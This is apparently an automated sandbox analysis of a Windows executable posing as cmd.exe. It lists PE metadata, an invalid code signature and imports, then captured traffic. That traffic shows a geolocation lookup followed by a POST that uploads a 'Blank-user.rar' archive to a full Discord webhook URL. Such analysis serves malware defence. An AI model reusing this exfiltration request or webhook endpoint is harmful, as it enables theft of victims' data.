File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14000ce20
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x67415729 [Sat Nov 23 04:16:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	28/09/2021 20:00:00 28/09/2024 19:59:59
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F12DCFA001Ch
dec eax
add esp, 28h
jmp 00007F12DCF9FC3Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F12DCFA03E8h
test eax, eax
je 00007F12DCF9FDE3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F12DCF9FDC7h
dec eax
cmp ecx, eax
je 00007F12DCF9FDD6h
xor eax, eax
dec eax
cmpxchg dword ptr [0003570Ch], ecx
jne 00007F12DCF9FDB0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F12DCF9FDB9h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F12DCF9FDC9h
mov byte ptr [000356F5h], 00000001h
call 00007F12DCF9F515h
call 00007F12DCFA0800h
test al, al
jne 00007F12DCF9FDC6h
xor al, al
jmp 00007F12DCF9FDD6h
call 00007F12DCFAD31Fh
test al, al
jne 00007F12DCF9FDCBh
xor ecx, ecx
call 00007F12DCFA0810h
jmp 00007F12DCF9FDACh
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000356BCh], 00000000h
mov ebx, ecx
jne 00007F12DCF9FE29h
cmp ecx, 01h
jnbe 00007F12DCF9FE2Ch
call 00007F12DCFA035Eh
test eax, eax
je 00007F12DCF9FDEAh
test ebx, ebx
jne 00007F12DCF9FDE6h
dec eax
lea ecx, dword ptr [000356A6h]
call 00007F12DCFAD112h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca34	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x968	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2238	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x5f6d2c	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f70	0x2a000	b8c3814c5fb0b18492ad4ec2ffe0830a	False	0.5518740699404762	data	6.489205819736506	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a28	0x12c00	8e90e31fefe08b1c816d6044594d54d8	False	0.5243229166666666	data	5.750770296559466	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2238	0x2400	9cd1eac931545f28ab09329f8bfce843	False	0.4697265625	data	5.2645170849678795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x968	0xa00	6a105e1c14897b38a163ad6994872bbe	False	0.422265625	data	5.075410316669733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x470a0	0x3b8	COM executable for DOS			0.43067226890756305
RT_MANIFEST	0x47458	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 19:44:32.248313904 CET	49747	80	192.168.2.4	208.95.112.1
Nov 23, 2024 19:44:32.374723911 CET	80	49747	208.95.112.1	192.168.2.4
Nov 23, 2024 19:44:32.374860048 CET	49747	80	192.168.2.4	208.95.112.1
Nov 23, 2024 19:44:32.374985933 CET	49747	80	192.168.2.4	208.95.112.1
Nov 23, 2024 19:44:32.500655890 CET	80	49747	208.95.112.1	192.168.2.4
Nov 23, 2024 19:44:33.540514946 CET	80	49747	208.95.112.1	192.168.2.4
Nov 23, 2024 19:44:33.580631018 CET	49747	80	192.168.2.4	208.95.112.1
Nov 23, 2024 19:44:34.009670019 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:34.009735107 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:34.009798050 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:34.039592028 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:34.039623022 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.301168919 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.301763058 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.301785946 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.303225994 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.303426981 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.304593086 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.304678917 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.305057049 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.305057049 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.305074930 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.305105925 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.306137085 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.306174040 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.306574106 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.306610107 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.306786060 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.306806087 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.306833029 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.306843996 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.306938887 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.306952000 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307058096 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307075977 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307084084 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307092905 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307106972 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307118893 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307255983 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307269096 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307347059 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307354927 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307373047 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307379961 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307395935 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307413101 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307434082 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307441950 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307459116 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307466030 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307516098 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307539940 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307832003 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307843924 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307905912 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307917118 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307933092 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307940960 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.307957888 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.307974100 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.308094978 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.308110952 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.308156013 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.308176994 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.308248043 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.308265924 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.308410883 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351349115 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351608992 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351623058 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351690054 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351700068 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351721048 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351727962 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351743937 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351753950 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351766109 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351775885 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351795912 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351804018 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351814032 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351820946 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351836920 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351843119 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351857901 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351866007 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:35.351887941 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351954937 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351974010 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.351990938 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:35.395334005 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:40.405719042 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:40.405908108 CET	443	49748	162.159.128.233	192.168.2.4
Nov 23, 2024 19:44:40.405989885 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:40.406497955 CET	49748	443	192.168.2.4	162.159.128.233
Nov 23, 2024 19:44:40.739331007 CET	49747	80	192.168.2.4	208.95.112.1
Nov 23, 2024 19:44:40.859596014 CET	80	49747	208.95.112.1	192.168.2.4
Nov 23, 2024 19:44:40.859656096 CET	49747	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 19:44:32.104846001 CET	60007	53	192.168.2.4	1.1.1.1
Nov 23, 2024 19:44:32.247494936 CET	53	60007	1.1.1.1	192.168.2.4
Nov 23, 2024 19:44:33.868581057 CET	56954	53	192.168.2.4	1.1.1.1
Nov 23, 2024 19:44:34.008208990 CET	53	56954	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 19:44:32.104846001 CET	192.168.2.4	1.1.1.1	0xfbe	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:44:33.868581057 CET	192.168.2.4	1.1.1.1	0xc287	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 19:44:32.247494936 CET	1.1.1.1	192.168.2.4	0xfbe	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:44:34.008208990 CET	1.1.1.1	192.168.2.4	0xc287	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:44:34.008208990 CET	1.1.1.1	192.168.2.4	0xc287	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:44:34.008208990 CET	1.1.1.1	192.168.2.4	0xc287	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:44:34.008208990 CET	1.1.1.1	192.168.2.4	0xc287	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Nov 23, 2024 19:44:34.008208990 CET	1.1.1.1	192.168.2.4	0xc287	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49747	208.95.112.1	80	7280	C:\Users\user\Desktop\cmd.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:44:32.374985933 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Nov 23, 2024 19:44:33.540514946 CET	379	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:44:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 202 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-75.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.75"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49748	162.159.128.233	443	7280	C:\Users\user\Desktop\cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:44:35 UTC	302	OUT	POST /api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0 HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 699973 User-Agent: python-urllib3/2.2.3 Content-Type: multipart/form-data; boundary=deddcaf575f75e2dd616d5b567df1560
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 2d 2d 64 65 64 64 63 61 66 35 37 35 66 37 35 65 32 64 64 36 31 36 64 35 62 35 36 37 64 66 31 35 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 84 bb 11 d4 21 04 00 00 01 0f c4 e8 86 33 e8 29 00 46 81 42 d6 35 2e 24 9b f9 44 54 5c df 3f 81 fc f3 44 90 f8 2f 8f d9 f6 4f cc 12 30 7b 08 77 71 14 fd 84 41 e4 a4 de dd 8b 8f 1b 70 4f e9 eb 0f ca 37 ec c9 bf 45 c2 5f 36 38 e4 99 90 bd ad e2 da 75 96 41 01 0f 2c d6 ed 26 c6 de 6a bd b3 Data Ascii: --deddcaf575f75e2dd616d5b567df1560Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!!3)FB5.$DT\?D/O0{wqApO7E_68uA,&j
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: a8 a0 27 94 8e 5f f9 83 fc ca 62 15 d6 2b b7 1b ca 47 90 7d 4e 60 f3 a2 cf 7f 47 98 0a d5 94 50 06 98 62 6d 75 98 f3 48 0d 79 47 ef 0f 86 f2 de 56 ed 42 c3 6c c7 c2 31 b9 90 95 54 84 92 d0 bc 1f 63 1f 10 43 31 50 21 9f 85 d7 16 56 0e 65 68 15 96 b7 61 fe ad 67 91 8c 1d ce c8 bd ec c4 b1 5a 52 b5 6d ef a0 82 c5 e5 12 86 8e 09 2f d9 0a ab 75 37 82 8b 7c 57 6e 37 aa 7c 36 de 88 b6 e0 9f 4e 94 d9 a6 5d 7f 9d 1b be 1e eb 53 7a 08 a8 ec 8f 81 88 f0 88 83 ec 84 c3 9b b4 31 7e 7a fa 6d ee 78 4c 21 24 fb 77 da 42 4a 55 68 f0 86 b0 0e 71 d4 4c ed 39 45 42 3a 43 b7 88 f6 35 cf ab 56 b6 17 f5 e7 d5 73 16 9d 7e 93 7c 35 3a de a9 38 f1 52 d4 5b d9 05 ac e9 c2 4f 6f 84 9b 27 7b f9 01 b2 5b 2e f7 ec 3e da a9 04 5e d5 26 a0 8d 44 73 f3 88 a3 8f 64 61 d6 88 e3 44 16 79 f6 Data Ascii: '_b+G}N`GPbmuHyGVBl1TcC1P!VehagZRm/u7\|Wn7\|6N]Sz1~zmxL!$wBJUhqL9EB:C5Vs~\|5:8R[Oo'{[.>^&DsdaDy
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 7c 22 d4 25 5e 14 fe 54 09 52 96 41 f2 7d 0c 10 74 47 62 35 ab 9b 0a 55 65 68 0a be 37 cf 06 08 c5 d8 39 46 21 a0 ae 5b 15 cd 0e f1 a0 16 fb 96 bd c0 47 78 74 90 65 03 f5 86 0b 36 91 7b 96 43 06 37 3e 3c 6b 8b f9 4f bf 5a b3 62 12 29 c0 ac d0 2d 5e 7d 73 4d 24 cf 86 31 3e cf 21 a0 d7 40 e7 58 7a 03 cf bd 6f db a6 c9 fe 73 f0 ec e8 d2 72 cc 93 fe a2 6d 41 31 71 dc 29 9e ff 47 8b 71 eb 64 16 de 26 b8 de dd 68 63 b8 9c dc 90 56 77 51 3f b3 3c bb 62 38 8f 3f 71 13 b0 1c f8 fd e9 c4 45 41 14 a4 01 01 8c 5b d5 1e 94 88 1c 1b c7 89 8e a4 6e 7e e4 ed ef 74 0e d2 74 0a 30 f4 5b 5a 3b 00 00 8c 40 95 ac 4b eb cb 30 3c fe 13 54 75 e0 83 01 15 aa 68 65 92 8d 8a 9b b2 d3 c5 bb 0b 91 c1 30 e3 c7 a6 c7 e5 5c d6 be 7a 86 0e 00 02 20 86 09 41 14 9d 06 bf 39 bc a2 c6 87 70 Data Ascii: \|"%^TRA}tGb5Ueh79F![Gxte6{C7><kOZb)-^}sM$1>!@XzosrmA1q)Gqd&hcVwQ?<b8?qEA[n~tt0[Z;@K0<Tuhe0\z A9p
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 69 a4 83 55 ef f0 ed 3a 47 88 de c0 5d 22 e6 d7 a9 c9 01 32 20 cb 80 22 47 f7 6d da d2 50 bf 07 9d 94 e9 69 91 46 2e ef 4d c6 40 f0 8b 61 37 65 27 ba 80 e8 bf 11 22 51 8d a1 58 a8 07 94 5d c4 ac 8e 39 18 71 a2 8d 0a 08 56 fe 22 1e af bf 60 25 a0 ff 84 db 96 3a c4 02 4c 87 a5 70 ce c0 a9 94 51 42 2e ff de ea 3e 28 13 00 62 45 4e 48 d3 34 f7 a0 0b 7d 5b 77 54 da d8 fb 39 d1 a5 70 9f 5d 48 02 9f c7 9c 39 c7 ef 09 7c ef 70 37 f6 5c 02 cd 10 5a 7c be 92 b6 0d 0d c2 60 f9 90 50 b7 c1 48 dd d7 db f7 22 26 65 a4 f0 8d e1 f2 a4 0f 8d 9d b7 f3 6e 8e f5 67 b9 d8 15 e1 81 4d 1e 3b fc 3f a4 d1 1c f6 81 5a 6a 0f e2 d5 df 72 ed 97 7a 75 e6 0d 97 ed da 3b a6 c2 98 f8 61 76 70 ea ee ed 18 e5 14 1d f7 4c 03 d9 26 c8 3e e4 9f 51 0b 40 4a d1 f4 37 a9 dc 5f 5d 9d 1c 01 8d 19 Data Ascii: iU:G]"2 "GmPiF.M@a7e'"QX]9qV"`%:LpQB.>(bENH4}[wT9p]H9\|p7\Z\|`PH"&engM;?Zjrzu;avpL&>Q@J7_]
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 3a 67 1d e9 5f e6 2b cc 7a 3a cf ad a4 e0 9f df 79 38 3a 20 60 82 27 5c a6 b9 c5 68 14 e2 7d 5d dd 8f 82 9d 4d b6 96 23 19 4e 5c 71 2f ba 40 e3 d6 b5 0e 6b 11 2a 30 fb a5 18 de a4 1d ba aa 9c 86 bf 92 f0 79 55 90 b7 97 e8 36 0e 7e e9 31 b3 6a 2f 1a c0 02 28 37 a0 49 b6 4c 38 60 d0 f8 74 96 18 b5 92 d0 67 97 38 3e 71 1b ad 30 db 44 74 58 3f cb 67 7c d9 8e 01 9f 45 67 70 3e cb 1e 1b 8d 9c 60 a6 f8 87 cf 7d 08 96 b3 e8 26 d2 96 9d 3f b2 2f d0 f8 4d 5d e2 b1 48 a8 a0 2e df 8d f1 9b 7e 29 8d a1 74 fc 47 0f 59 61 39 fb 64 cd 01 1c 7e 3e 1b fe fa 37 bb 26 36 f7 d7 38 80 dc 41 a2 23 06 18 af dc 5a 2e 5b c8 ad 3c 84 05 e1 8a 06 f3 d7 ec 21 f6 a9 84 40 a8 dc e3 05 af 64 77 85 6b cf 5e 1d 5c 21 a0 d0 a8 10 ff 02 c8 f7 2a d9 c5 80 24 76 90 94 a3 be e5 b5 ab 9e f8 2e Data Ascii: :g_+z:y8: 